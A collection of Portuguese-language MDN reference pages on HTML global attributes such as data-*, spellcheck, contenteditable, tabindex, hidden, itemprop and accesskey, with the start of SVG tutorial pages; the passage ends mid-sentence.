{"title":"data-* - HTML: Linguagem de Marcação de Hipertexto","text":"data-\\*\n=======\n\n> \n> **Note:** \n> \n> \n> \n\n Os atributos globais **data-\\*** formam uma classe de atributos conhecida como **custom data attributes**, a qual permite que informações proprietárias sejam trocadas via script entre o HTML e sua representação DOM (en-US) . Todos esses dados personalizados estão disponíveis através da interface `HTMLElement` (en-US) do elemento, onde o atributo está definido. A propriedade `HTMLElement.dataset` (en-US) concede acesso a estes atributos .\n O `*` pode ser substituído por qualquer nome, desde que siga a regra de criação de nomes xml com as seguintes restrições:\n\n* O nome não deve começar com xml, independente da caixa destas letras (Ex: XML, xml, XMl, XmL, ...);\n* O nome não deve conter ponto e vírgula (`U+003A`);\n* O nome não deve conter letras maiúsculas.\n\nObserve que a propriedade `HTMLElement.dataset` (en-US) é uma `DOMStringMap`, e o nome da custom data attribute *data-test-value* será acessível através do `HTMLElement.dataset.testValue` ( ou `HTMLElement.dataset[\"testValue\"]` ) e todo o traço (`U+002D`) será substituído pela capitalização(tornar maiúscula) da letra subsequente, deixando o nome no formato camelcase.\n\n### Uso\n\nPara adicionar atributos **data-\\*** , mesmo os elementos HTML mais comuns podem tornar-se mais complexos e poderosos objetos programáveis. Por exemplo, um \"sprite*\"* de uma nave espacial em um jogo pode ser um simples elemento `<img>` com um atributo class e diversos atributos data-\\*:\n```\n\n<img class=\"spaceship cruiserX3\" src=\"shipX3.png\"\n  data-navio-id=\"324\"   data-armas=\"laserI laserII\"   data-escudos=\"72%\"\n  data-x=\"414354\" data-y=\"85160\" data-z=\"31940\"\n  onclick=\"navesespaciais[this.dataset.shipId].explodida()\"\n</img>\n```\n\n\n(Veja mais *aqui)*\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # attr-data-\\* |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* All global attributes.\n* The `HTMLElement.dataset` (en-US) property that allows to access and modify these values."}
{"title":"Controlando a verificação ortográfica em formulários HTML - HTML: Linguagem de Marcação de Hipertexto","text":"Controlando a verificação ortográfica em formulários HTML\n=========================================================\n\nFirefox 2 introduz suporte à verificação ortográfica para áreas de texto e campos de texto em formulários web. O usuário pode especificar usando a interface about:config se a verificação ortográfica é ou não habilitada e se checará áreas de texto e campos de texto ou somente áreas de texto.\n\nPor padrão, áreas de texto e documentos `designMode` tem ortografia verificada e caixas de texto de uma única linha não tem. Isto é assim porque os usuários do Firefox podem se distrair ou se incomodar se o Firefox marcar coisas como IDs de usuários ou endereços de e-mail como erros de ortografia.\n\nPorém, podem haver situações nas quais este comportamento não é necessariamente apropriado. Por exemplo, se uma área de texto tem o objetivo de ser usada para editar HTML ou servir de entrada para outro tipo de texto que não seja semântico, a verificação ortográfica seria um entrave em vez de uma ajuda. Da mesma forma, podem haver casos nos quais um site faça uma recomendação de que o Firefox habilite a verificação ortográfica para um campo de texto específico, como campos de busca ou assunto/título de e-mail, mesmo estes sendo geralmente campos de texto de uma única linha.\n\nSe um site deseja recomendar o uso ou não de verificação ortográfica para um elemento `<input>` específico, ele pode usar o atributo `spellcheck`, espefcificando o valor `true` para recomendar o uso da verificação ortográfica ou `false` para recomendar o não uso.\n\nTenha em mente que a recomendação do site pode ser ignorada pelo usuário se o mesmo tiver desativado a verificação ortográfica setando a configuração `layout.spellcheckDefault` para 0. Se a configuração `layout.spellcheckDefault` tiver qualquer outro valor, as recomendações serão consideradas.\n\nVocê pode codificar um campo de texto linha-única (elemento HTML `<input>`) habilitando a verificação ortográfica da seguinte forma:\n```\n\n<input type=\"text\" size=\"50\" spellcheck=\"true\">\n```\n\n\nDa mesma forma, você pode desabilitar a verificação ortográfica em uma área de texto (elemento `<textarea>`) da seguinte forma:\n```\n\n<textarea spellcheck=\"false\"></textarea>\n```\n\n\nVocê pode controlar um documento em seu `designMode` (tipicamente usado para implementar edição de texto rica) setando o atributo `spellcheck` no elemento `<body>` de um documento.\n\nVocê também pode aplicar o atributo `spellcheck` em outros elementos, tais como os elementos `<span>` e `<div>`, e nesse caso todos os elementos `<input>` dentro dessas tags irão herdar esta configuração; elementos `<input>` que não tem um atributo `spellcheck` setado, irão herdar a configuração de verificação ortográfica de seu elemento pai. Se não houver nenhuma configuração setada na cadeia antecessora de elementos, a configuração padrão será usada.\n\nPor exemplo:\n\n\n```html\n<div spellcheck=\"true\">\n  <label>Escreva algo: </label><input type=\"text\" size=\"50\" />\n  <br />\n  <label>Escreva outra coisa: </label><input type=\"text\" size=\"50\" />\n</div>\n<br />\n<label>Mais alguma coisa: </label><input type=\"text\" size=\"50\" />\n```\n\n\nNeste exemplo HTML acima, os dois primeiros campos de texto terão a verificação ortográfica e o terceiro não terá.\n\nIniciando no Gecko 9.0, a verificação ortográfica usa o atributo `lang` do elemento `<input>` para determinar o idioma padrão da verificação ortográfica. Se o `<input>` não tiver o atributo `lang` setado, esse atributo é procurado em cada elemento pai superior até chegar ao elemento raiz do documento.\n\nFazendo assim, se o usuário tem os dicionários de Português e Inglês instalados, e um elemento editável tiver o atributo `lang=\"en\"`, o dicionário inglês será automaticamente usado para este elemento.\n\nPor exemplo:\n\n\n```html\n<html lang=\"pt-BR\">\n  <body>\n    <textarea></textarea>\n    <textarea lang=\"en\"></textarea>\n    <div lang=\"ru\">\n      <textarea></textarea>\n    </div>\n  </body>\n</html>\n```\n\n\nNo exemplo HTML acima, o primeiro `<textarea>` terá ortografia checada em Português, o segundo em Inglês e o terceiro em Russo.\n\nSe um elemento especifica o idioma e o usuário não tem dicionário instalado para este idioma, a verificação ortográfica fica desabilitada por padrão, embora o usuário possa escolher por habilitá-la manualmente."}
{"title":"contenteditable - HTML: Linguagem de Marcação de Hipertexto","text":"contenteditable\n===============\n\nO atributo global **`contenteditable`** é um atributo enumerado indicando se o elemento deve ser editável pelo usuário. Se assim for, o navegador modifica seu widget para permitir a edição.\n\nExperimente\n-----------\n\nO atributo deve ter um dos seguintes valores:\n\n* `true` ou uma string vazia, o que indica que o elemento é editável.\n* `false`, o que indica que o elemento não é editável.\n\nSe o atributo for aplicado sem um valor, como `<label contenteditable>Rótulo de Exemplo</label>`, seu valor é tratado como uma *string* vazia.\n\nSe esse atributo estiver faltando ou seu valor for inválido, seu valor é herdado de seu elemento pai: para que o elemento seja editável se seu pai for editável.\n\nObserve que, embora seus valores permitidos incluam *true* e *false*, este atributo é um enumerado e não um *Booleano*.\n\nVocê pode definir a cor usada para desenhar a inserção de texto caret com a propriedade `caret-color` (en-US) do CSS.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # attr-contenteditable |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Tornando o conteúdo editável\n* Todos os atributos globais\n* `HTMLElement.contentEditable` e `HTMLElement.isContentEditable` (en-US)\n* A propriedade `caret-color` (en-US) do CSS.\n* Evento de `input` - `HTMLElement`"}
{"title":"title - HTML: Linguagem de Marcação de Hipertexto","text":"title\n=====\n\nO atributo global **title** contém textos representando informações de orientação, relacionados ao elemento a que pertence. Geralmente, mas não obrigatoriamente, esta informação pode ser apresentada ao usuário como uma dica. Alguns usos comuns:\n\n* Link: título ou descrição do documento vinculado\n* Elemento de mídia como uma imagem: descrição ou créditos associados\n* Parágrafo: nota de rodapé ou um comentário sobre ele\n* Citação: informação sobre o autor, e assim por diante.\n\nSe este atributo for omitido, significa que o título do antecessor mais próximo desse elemento ainda é relevante (e poderá ser usado como dica para este elemento). Se este atributo estiver difinido como uma *string vazia*, significa explicitamente que o título do antecessor mais próximo não é relevante (e não deve ser usado como dica para este elemento).\n\nSemânticas adicionais são anexadas aos atributos **title** dos elementos `<link>`, `<abbr>`, `<input>` e `<menuitem>` (en-US).\n\nO atributo **title** pode conter várias linhas. Cada `U+000A LINE FEED` (`LF`) inserida representa uma nova linha. Alguns cuidados devem ser tomados, como a seguir:\n\n\n```html\n<p>\n  Novas linhas em título devem ser levadas em conta, como este\n  <abbr\n title=\"Este é um\ntítulo de multiplas linhas\"\n >exemplo</abbr\n >.\n</p>\n```\n\n\nEste exemplo define um título de duas linhas.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-title-attribute |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Todos os atributos globais.\n* `HTMLElement.title` (en-US) que reflete este atributo."}
{"title":"tabindex - HTML: Linguagem de Marcação de Hipertexto","text":"tabindex\n========\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since October 2018.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO atributo global **tabindex** indica se um elemento pode receber foco de entrada (se ele é *focável*), se e em qual posição ele deve fazer parte da navegação sequencial do teclado (geralmente com a tecla `Tab`, daí seu nome).\n\nExperimente\n-----------\n\nEle aceita valores inteiros, com diferentes resultados dependendo do valor desse inteiro:\n\n* um *valor negativo* (geralmente `tabindex=\"-1\"`) significa que o elemento não deve ser localizado pela navegação sequencial do teclado, mas pode ser focável visualmente ou com JavaScript. Isso é mais útil para criar widgets accessíveis com JavaScript.\n\n> \n> **Note:** Um valor negativo é útil quando você tem conteúdo fora da tela que aparece com um evento específico. O usuário não poder focar em nenhum elemento com um `tabindex` negativo utilizando o teclado, porém um script pode o fazer utilizando o método (en-US) `focus()`.\n> \n> \n>\n* `tabindex=\"0\"` significa que o elemento deve ser focável e que pode ser localizado pela navegação sequencial do teclado, mas a sua posição será definida pela ordem no código-fonte do documento;\n* um *valor positivo* significa que o elemento deve ser focável e que pode ser localizado pela navegação sequencial do teclado, e a sua posição definida pelo valor do número. Sendo assim, `tabindex=\"4\"` seria focado antes de `tabindex=\"5\"`, mas depois de `tabindex=\"3\"`. Se vários elementos possuírem o mesmo valor positivo de `tabindex`, a sua posição na ordenação será definida pela sua posição no código-fonte do documento. O valor máximo do `tabindex` é 32767. Se não especificado, assume o valor padrão 0.\n\n> \n> **Warning:** Evite usar valores do `tabindex` maiores que 0. Ao fazer isso dificulta para pessoas que dependem de tecnologias assistivas para navegar e operar o conteúdo da página. Ao invés disso, escreva o documento com os elementos em uma sequência lógica.\n> \n> \n>\n\nSe o atributo `tabindex` for definido em um elemento div `<div>`, seu conteúdo filho (interno) não poderá ser rolado utilizando as teclas direcionais a menos que seja definido `tabindex` no conteúdo também. Veja este fiddle para entender melhor os efeitos de rolagem do tabindex.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # attr-tabindex |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Todos os atributos globais.\n* `HTMLElement.tabIndex` (en-US) que reflete este atributo.\n* Problemas de acessibilidade com tabindex: veja Don't Use Tabindex Greater than 0 | Adrian Roselli (em inglês)."}
{"title":"hidden - HTML: Linguagem de Marcação de Hipertexto","text":"hidden\n======\n\nO atributo global **`hidden`** é um atributo booleano que indica se um elemento é ou não *relevante*. Por exemplo, ele pode ser usado para esconder elementos de página que não podem ser usados até que o processo de login seja completo. Os navegadores não renderizarão elementos com o atributo `hidden` setado.\n\nO atributo `hidden` não deve ser utilizado para esconder conteúdo que poderia legitimamente ser mostrado em outra apresentação, por exemplo, não é correto usar `hidden` para esconder abas de formulários em paineis, porque interfaces separadas por abas são meramente um tipo de apresentação em fluxo — o que pode ser igualmente mostrado em forma vertical com barra de rolagem. É similarmente incorreto usar este atributo para esconder conteúdo de apenas uma apresentação — se algo está marcado como `hidden`, ele está escondido de todas as apresentações incluindo, por exemplo, leitores de tela.\n\nElementos com `hidden` não devem estar ligados a outros elementos sem `hidden`. Elementos filhos de um elemento com o atributo `hidden` ainda estão ativos, ou seja, é possível executar a ação `submit` de um formulário ou uma tag `script` pode ser executada se em ambos os casos estes elementos forem filhos de um elemento com o atributo `hidden`.\n\nPor exemplo, é incorreto o uso do atributo `href` referenciando a uma sessão marcada com o atributo `hidden`. Se o conteúdo não é aplicável ou relevante, não faz sentido fazer a referência.\n\nPode ser correto, entretanto, usar o atributo ARIA `aria-describedby`para referenciar descrições que estejam, elas mesmas, escondidas. Esconder as descrições implica que elas não são úteis por si só. Mas elas podem ser escritas de forma que sejam úteis no contexto específico do elemento que descrevem\n\nSimilarmente, um elemento canvas com atributo `hidden` poderia ser usado como buffer por um script de gráficos, e um controle de formulário, usando seu atributo form, poderia referir-se a um elemento `form` com atributo `hidden`.\n\n**Nota:** Mudar o valor da propriedade `display` no CSS de um elemento com o atributo `hidden` sobrescreve o comportamento. Por exemplo, elementos com o estilo `display: flex;` serão mostrados independente da presença do atributo `hidden`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-hidden-attribute |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Todos os atributos globais."}
{"title":"itemprop - HTML: Linguagem de Marcação de Hipertexto","text":"itemprop\n========\n\nO atributo global **`itemprop`** é usado para adicionar propriedades para um item. Todo elemento HTML pode ter um atributo `itemprop` especificado, e um `itemprop` consiste em um par de nome e valor. Cada par de nome e valor é chamado de **propriedade,** e um grupo de uma ou mais propriedades forma um **item**. Os valores das propriedades são ou um texto ou uma URL e pode ser associada a uma grande variedade de elementos incluindo `<audio>`, `<embed>`, `<iframe>`, `<img>`, `<link>`, `<object>` (en-US), `<source>` , `<track>`, and `<video>`.\n\nExemplos\n--------\n\nThe example below shows the source for a set of elements marked up with `itemprop` attributes, followed by a table showing the resulting structured data.\n\n### HTML\n\n\n```html\n<div itemscope itemtype=\"http://schema.org/Movie\">\n  <h1 itemprop=\"name\">Avatar</h1>\n  <span\n >Director:\n    <span itemprop=\"director\">James Cameron</span>\n    (born August 16, 1954)</span\n >\n  <span itemprop=\"genre\">Science fiction</span>\n  <a href=\"../movies/avatar-theatrical-trailer.html\" itemprop=\"trailer\"\n >Trailer</a\n >\n</div>\n```\n\n### Structured data\n\n|  |  |\n| --- | --- |\n|  | **Item** |\n| **itemprop name** | **itemprop value** |\n| itemprop | name | Avatar |\n| itemprop | director | James Cameron |\n| itemprop | genre | Science fiction |\n| itemprop | trailer | ../movies/avatar-theatrical-trailer.html |\n\nProperties\n----------\n\nProperties have values that are either a string or a URL. When a string value is a URL, it is expressed using the `<a>` element and its `href` attribute, the `<img>` element and its `src` attribute, or other elements that link to or embed external resources.\n\n### Three properties with values that are strings\n\n\n```html\n<div itemscope>\n  <p>My name is <span itemprop=\"name\">Neil</span>.</p>\n  <p>My band is called <span itemprop=\"band\">Four Parts Water</span>.</p>\n  <p>I am <span itemprop=\"nationality\">British</span>.</p>\n</div>\n```\n\n### One property, \"image\", whose value is a URL\n\n\n```html\n<div itemscope>\n  <img itemprop=\"image\" src=\"google-logo.png\" alt=\"Google\" />\n</div>\n```\n\n\nWhen a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's contents (which is not part of the structured data - see example below).\n\n### An item with a property whose value is a product ID\n\nThe ID is not human-friendly, so the product's name is used the human-visible text instead of the ID.\n\n\n```html\n<h1 itemscope>\n  <data itemprop=\"product-id\" value=\"9678AOU879\">The Instigator 2000</data>\n</h1>\n```\n\n\nFor numeric data, the meter element and its value attribute can be used.\n\n### A meter element\n\n\n```html\n<div itemscope itemtype=\"http://schema.org/Product\">\n  <span itemprop=\"name\">Panasonic White 60L Refrigerator</span>\n  <img src=\"panasonic-fridge-60l-white.jpg\" alt=\"\" />\n  <div\n itemprop=\"aggregateRating\"\n itemscope\n itemtype=\"http://schema.org/AggregateRating\">\n    <meter itemprop=\"ratingValue\" min=\"0\" value=\"3.5\" max=\"5\">\n      Rated 3.5/5\n    </meter>\n    (based on <span itemprop=\"reviewCount\">11</span>\n    customer reviews)\n  </div>\n</div>\n```\n\n\nSimilarly, for date- and time-related data, the time element and its datetime attribute can be used.\n\n### An item with one property, \"birthday\", whose value is a date\n\n\n```html\n<div itemscope>\n  I was born on\n  <time itemprop=\"birthday\" datetime=\"2009-05-10\">May 10th 2009</time>.\n</div>\n```\n\n\nProperties can also be groups of name-value pairs, by putting the itemscope attribute on the element that declares the property. Each value is either a string or a group of name-value pairs (i.e. an item).\n\n### An outer item representing a person, and an inner one representing a band\n\n\n```html\n<div itemscope>\n  <p>Name: <span itemprop=\"name\">Amanda</span></p>\n  <p>\n    Band:\n    <span itemprop=\"band\" itemscope>\n      <span itemprop=\"name\">Jazz Band</span>\n      (<span itemprop=\"size\">12</span> players)</span\n >\n  </p>\n</div>\n```\n\n\nThe outer item above has two properties, \"name\" and \"band\". The \"name\" is \"Amanda\", and the \"band\" is an item in its own right, with two properties, \"name\" and \"size\". The \"name\" of the band is \"Jazz Band\", and the \"size\" is \"12\". The outer item in this example is a top-level microdata item. Items that are not part of others are called top-level microdata items.\n\n### All the properties separated from their items\n\nThis example is the same as the previous one, but all the properties are separated from their items\n\n\n```html\n<div itemscope id=\"amanda\" itemref=\"a b\"></div>\n<p id=\"a\">Name: <span itemprop=\"name\">Amanda</span></p>\n<div id=\"b\" itemprop=\"band\" itemscope itemref=\"c\"></div>\n<div id=\"c\">\n  <p>Band: <span itemprop=\"name\">Jazz Band</span></p>\n  <p>Size: <span itemprop=\"size\">12</span> players</p>\n</div>\n```\n\n\nThis gives the same result as the previous example. The first item has two properties, \"name\", set to \"Amanda\", and \"band\", set to another item. That second item has two further properties, \"name\", set to \"Jazz Band\", and \"size\", set to \"12\".\n\nAn item can have multiple properties with the same name and different values.\n\n### Ice cream with two flavors\n\n\n```html\n<div itemscope>\n  <p>Flavors in my favorite ice cream:</p>\n  <ul>\n    <li itemprop=\"flavor\">Lemon sorbet</li>\n    <li itemprop=\"flavor\">Apricot sorbet</li>\n  </ul>\n</div>\n```\n\n\nThis results in an item with two properties, both with the name \"flavor\" and having the values \"Lemon sorbet\" and \"Apricot sorbet\".\n\nAn element introducing a property can also introduce multiple properties at once, to avoid duplication when some of the properties have the same value.\n\n### An item with two properties, \"favorite-color\" and \"favorite-fruit\", both set to the value \"orange\"\n\n\n```html\n<div itemscope>\n  <span\n itemprop=\"favorite-color\n favorite-fruit\"\n >orange</span\n >\n</div>\n```\n\n\n> \n> **Note:** Note: There is no relationship between the microdata and the content of the document where the microdata is marked up.\n> \n> \n> \n\n### Same structured data marked up in two different ways\n\nThere is no semantic difference between the following two examples\n\n\n```html\n<figure>\n  <img src=\"castle.jpeg\" />\n  <figcaption>\n    <span itemscope><span itemprop=\"name\">The Castle</span></span> (1986)\n  </figcaption>\n</figure>\n```\n\n\n\n```html\n<span itemscope><meta itemprop=\"name\" content=\"The Castle\" /></span>\n<figure>\n  <img src=\"castle.jpeg\" />\n  <figcaption>The Castle (1986)</figcaption>\n</figure>\n```\n\n\nBoth have a figure with a caption, and both, completely unrelated to the figure, have an item with a name-value pair with the name \"name\" and the value \"The Castle\". The only difference is that if the user drags the figcaption out of the document, the item will be included in the drag-and-drop data. The image associated with the item won't be included.\n\nNames and values\n----------------\n\nA property is an unordered set of unique tokens that are case-sensitive and represent the name-value pairs. The property value must have at least one token. In the example below, each data cell is a token.\n\n### Names examples\n\n|  | Item |\n| --- | --- |\n| itemprop **name** | itemprop **value** |\n| itemprop | country | Ireland |\n| itemprop | Option | 2 |\n| itemprop | https://www.flickr.com/photos/nlireland/6992065114/ | Ring of Kerry |\n| itemprop | img | https://www.flickr.com/photos/nlireland/6992065114/ |\n| itemprop | website | flickr |\n| itemprop | (token) | (token) |\n\n**Tokens** are either strings or URL's. An item is called a **typed item** if it is a URL. Otherwise, it is a string. Strings cannot contain a period or a colon (see below).\n\n1. If the item is a typed item it must be either:\n    1. A defined property name, or\n    2. A valid URL, which refers to the vocabulary definition, or\n    3. A valid URL that is used as a proprietary item property name (i.e. one not defined in a public specification), or\n2. If the item is not a typed item it must be:\n    1. A string that contains no \"**.**\" (U+002E FULL STOP) characters and no \"**:**\" characters (U+003A COLON) and is used as a proprietary item property name (again, one not defined in a public specification).\n\n> \n> **Note:** the rules above disallow \":\" characters in non-URL values because otherwise they could not be distinguished from URLs. Values with \".\" characters are reserved for future extensions. Space characters are disallowed because otherwise the values would be parsed as multiple tokens.\n> \n> \n> \n\nValues\n------\n\nThe property value of a name-value pair is as given for the first matching case in the following list:\n\n* If the element has an **itemscope** attribute\n    + The value is the **item** created by the element.\n* If the element is a **meta** element\n    + The value is the value of the element's **content** attribute\n* If the element is an **audio**, **embed**, **iframe**, **img**, **source**, **track**, or **video** element\n    + The value is the resulting URL string that results from parsing the value of the element's src attribute relative to the node document (part of the Microdata DOM API (en-US)) of the element at the time the attribute is set\n* If the element is an **a**, **area**, or **link** element\n    + The value is the resulting URL string that results from parsing the value of the element's href attribute relative to the node document of the element at the time the attribute is set\n* If the element is an **object** element\n    + The value is the resulting URL string that results from parsing the value of the element's data attribute relative to the node document of the element at the time the attribute is set\n* If the element is a **data** element\n    + The value is the value of the element's value attribute\n* If the element is a **meter** element\n    + The value is the value of the element's **value** attribute\n* If the element is a **time** element\n    + The value is the element's **datetime** value\n\nOtherwise\n\n* The value is the element's **textContent**.\n\nIf a property's value is a **URL**, the property must be specified using a URL property element. The URL property elements are the **a**, **area**, **audio**, **embed**, **iframe**, **img**, **link**, **object**, **source**, **track**, and **video** elements.\n\n### Name order\n\nNames are unordered relative to each other, but if a particular name has multiple values, they do have a relative order.\n\n#### In the following example, the \"a\" property has the values \"1\" and \"2\", *in that order*, but whether the \"a\" property comes before the \"b\" property or not is not important\n\n\n```html\n<div itemscope>\n  <p itemprop=\"a\">1</p>\n  <p itemprop=\"a\">2</p>\n  <p itemprop=\"b\">test</p>\n</div>\n```\n\n\n#### The following is equivalent\n\n\n```html\n<div itemscope>\n  <p itemprop=\"b\">test</p>\n  <p itemprop=\"a\">1</p>\n  <p itemprop=\"a\">2</p>\n</div>\n```\n\n\n#### As is the following\n\n\n```html\n<div itemscope>\n  <p itemprop=\"a\">1</p>\n  <p itemprop=\"b\">test</p>\n  <p itemprop=\"a\">2</p>\n</div>\n```\n\n\n#### And the following\n\n\n```html\n<div id=\"x\">\n  <p itemprop=\"a\">1</p>\n</div>\n<div itemscope itemref=\"x\">\n  <p itemprop=\"b\">test</p>\n  <p itemprop=\"a\">2</p>\n</div>\n```\n\nOther examples\n--------------\n\n### HTML\n\n\n```html\n<dl\n itemscope\n itemtype=\"http://vocab.example.net/book\"\n itemid=\"urn:isbn:0-330-34032-8\">\n  <dt>Title</dt>\n  <dd itemprop=\"title\">The Reality Dysfunction</dd>\n  <dt>Author</dt>\n  <dd itemprop=\"author\">Peter F. Hamilton</dd>\n  <dt>Publication date</dt>\n  <dd><time itemprop=\"pubdate\" datetime=\"1996-01-26\">26 January 1996</time></dd>\n</dl>\n```\n\n### Structured data\n\n|  |  |  |\n| --- | --- | --- |\n| itemscope | itemtype: itemid | http://vocab.example.net/book: urn:isbn:0-330-34032-8 |\n| itemprop | title | The Reality Dysfunction |\n| itemprop | author | Peter F. Hamilton |\n| itemprop | pubdate | 1996-01-26 |\n\n### Result\n\nSpecifications\n--------------\n\n| Specification | Status | Comment |\n| --- | --- | --- |\n| `itemprop` |  | WG Note - No longer being actively developed |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Other different global attributes\n* Other, microdata related, global attributes:\n    + `itemid`\n    + `itemref`\n    + `itemscope`\n    + `itemtype`"}
{"title":"accesskey - HTML: Linguagem de Marcação de Hipertexto","text":"accesskey\n=========\n\nO atributo global **`accesskey`** fornece uma dica para gerar um atalho de teclado no elemento atual. O valor do atributo deve consistir em um único caracter imprimível (que inclui caracteres acentuados e outros caracteres que podem ser gerados pelo teclado).\n\nExperimente\n-----------\n\n**Nota:** Na especificação do WHATWG, diz que você pode especificar vários caracteres separados por espaço, e o navegador usará primeiro o que ele suportar. No entanto, isso não funciona na maioria dos browsers. O IE/Edge usa o primeiro que ele suporta sem problemas, desde que não haja conflitos com outros comandos.\n\nA maneira de ativar a tecla de acesso depende do navegador e de sua plataforma:\n\n|  | Windows | Linux | Mac |\n| --- | --- | --- | --- |\n| Firefox | `Alt` + `Shift` + `*key*` | \n No Firefox 57 ou mais recente: `Control` + `Option` +\n `*key*` or `Control` + `Alt` +\n `*key*`No Firefox 14 ou mais recente: `Control` +\n `Alt` + `*key*`No Firefox 13 ou mais antigo: `Control` +\n `*key*` |\n| Edge | `Alt` + `*key*` | N/A |\n| Internet Explorer | `Alt` + `*key*` | N/A |\n| Google Chrome | `Alt` + `*key*` | `Control` + `Alt` + `*key*` |\n| Safari | `Alt` + `*key*` | N/A | `Control` + `Alt` + `*key*` |\n| Opera 15+ | `Alt` + `*key*` | `Control` + `Alt` + `*key*` |\n| Opera 12 | \n`Shift` + `Esc` abre uma lista de conteúdos\n acessíveis pela tecla de acesso e, em seguida, pode escolher um item\n pressionando `*key*`\n |\n\nPreocupações com acessibilidade\n-------------------------------\n\nAlém do baixo suporte ao navegador, existem inúmeras preocupações com o atributo `accesskey`:\n\n* Um valor de `accesskey` pode entrar em conflito com uma tecla de atalho do sistema ou do navegador, ou alguma funcionalidade de tecnologia assistida. O que pode funcionar para uma combinação de sistema operacional, tecnologia assistida e navegador pode não funcionar com outras combinações.\n* Certos valores de `accesskey` podem não estar presentes em alguns teclados, especialmente quando a internacionalização é uma preocupação. Portanto, a adaptação a idiomas específicos pode causar problemas adicionais.\n* Os valores de `accesskey` que dependem de números podem ser confusos para indivíduos com problemas cognitivos, onde o número não tem uma associação lógica com a funcionalidade que aciona.\n* Informar o usuário que `accesskey` estão presentes, para que eles estejam cientes da funcionalidade. Se o sistema não tiver o método de o usuário dessa funcionalidade, ele poderá ativar acidentalmente as teclas de acesso (`accesskeys)`.\n\nDevido a esses problemas, geralmente não é aconselhável usar o `accesskey`s para a maioria dos sites e aplicativos da web.\n\nWebAIM: Keyboard Accessibility - Accesskey\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-accesskey-attribute |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Element.accessKey`\n* `HTMLElement.accessKeyLabel` (en-US)\n* Todos os atributos globais."}
{"title":"class - HTML: Linguagem de Marcação de Hipertexto","text":"class\n=====\n\nO atributo global **class** é uma lista das classes de um elemento, separada por espaços. Classes permitem a CSS e Javascript selecionar e acessar elementos específicos através dos seletores de classe ou funções como o método DOM `document.getElementsByClassName`.\n\nApesar da especificação não impor requesitos sobre os nomes de classes, é considerada boa prática usar nomes que descrevam o propósito semântico do elemento, em vez de sua representação (e.g. *atributo* para descrever um atributo em vez de *ítalico*, mesmo que um elemento desta classe possa ser representado por *ítalico)*. Nomes baseados em semântica permanecem coerentes mesmo se a representação da página mude.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # global-attributes:classes-2 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Todos os atributos globais."}
{"title":"Tutorial SVG - SVG: Gráficos Vetoriais Escaláveis","text":"Tutorial SVG\n============\n\nScalable Vector Graphics (Gráficos vetoriais escaláveis), SVG, é uma linguagem W3C XML para marcação de gráficos. Ela é parcialmente implementada no Firefox, Opera, Navegadores com WebKit , Internet Explorer e outros navegadores.\n\nEste tutorial tem como objetivo explicar as partes internas de SVG acompanhada de detalhes técnicos. Se você quiser usá-la apenas para desenhar belas imagens, você pode encontrar informações mais uteis na Página de documentação do Inkscape. Outra boa introdução ao SVG é fornecida pelo W3C' SVG Primer.\n\n**Nota:** O tutorial está em um estágio inicial de desenvolvimento.Se puder, por favor ajude escrevendo um parágrafo ou dois. Pontos extras para quem escrever uma página inteira!\n\n##### Apresentando SVG com Scratch\n\n* Introdução\n* Começando\n* Posições\n* Formas Básicas\n* Caminhos\n* Preenchimentos e traços\n* Gradientes\n* Padrões\n* Textos\n* Transformações básicas\n* Recortes e mascaras\n* Outros conteúdos em SVG\n* Efeitos de filtro\n* Fontes SVG\n* SVG e a tag Imagem\n* Ferramentas para SVG\n\nOs seguintes tópicos são mais avançados e portanto precisam de tutoriais próprios.\n\n##### Scripting SVG with JavaScript\n\nTBD\n\n##### SVG filters tutorial\n\nTBD\n\n##### Animations with SMIL in SVG\n\nTBD\n\n##### Creating fonts in SVG\n\nTBD"}
{"title":"Applying SVG effects to HTML content - SVG: Gráficos Vetoriais Escaláveis","text":"Applying SVG effects to HTML content\n====================================\n\nFirefox 3.5 introduziu suporte para uso do SVG como um componente do CSS em ordem para introduzir efeitos SVG no conteúdo HTML.\n\nVocê pode embutir o SVG nos estilos dentro do mesmo documento, ou com um *stylesheet* externo.\n\n**Nota:** Referencias para SVG em arquivos externos podem ter mesma origem como as do documento originário.\n\nUsando SVG embutido\n-------------------\n\nPara aplicar um efeito SVG usando o estilo CSS, você precisa primeiro criar um estilo CSS que faz referência ao SVG que deseja aplicar.\n\n\n```html\n<style>\n .stylename {\n mask: url(#localstyle);\n }\n</style>\n```\n\n\nDentro do exemplo acima, o novo estilo, identificado como \"stylename\", é uma máscara SVG referenciada pelo ID \"localstyle\". Quando isso é estabelecido, a máscara pode ser aplicada a qualquer elemento usando o estilo CSS.\n\nIsso soa mais complicado do que realmente é; Olharemos mais de perto os exemplos para termos uma boa ideia como isso 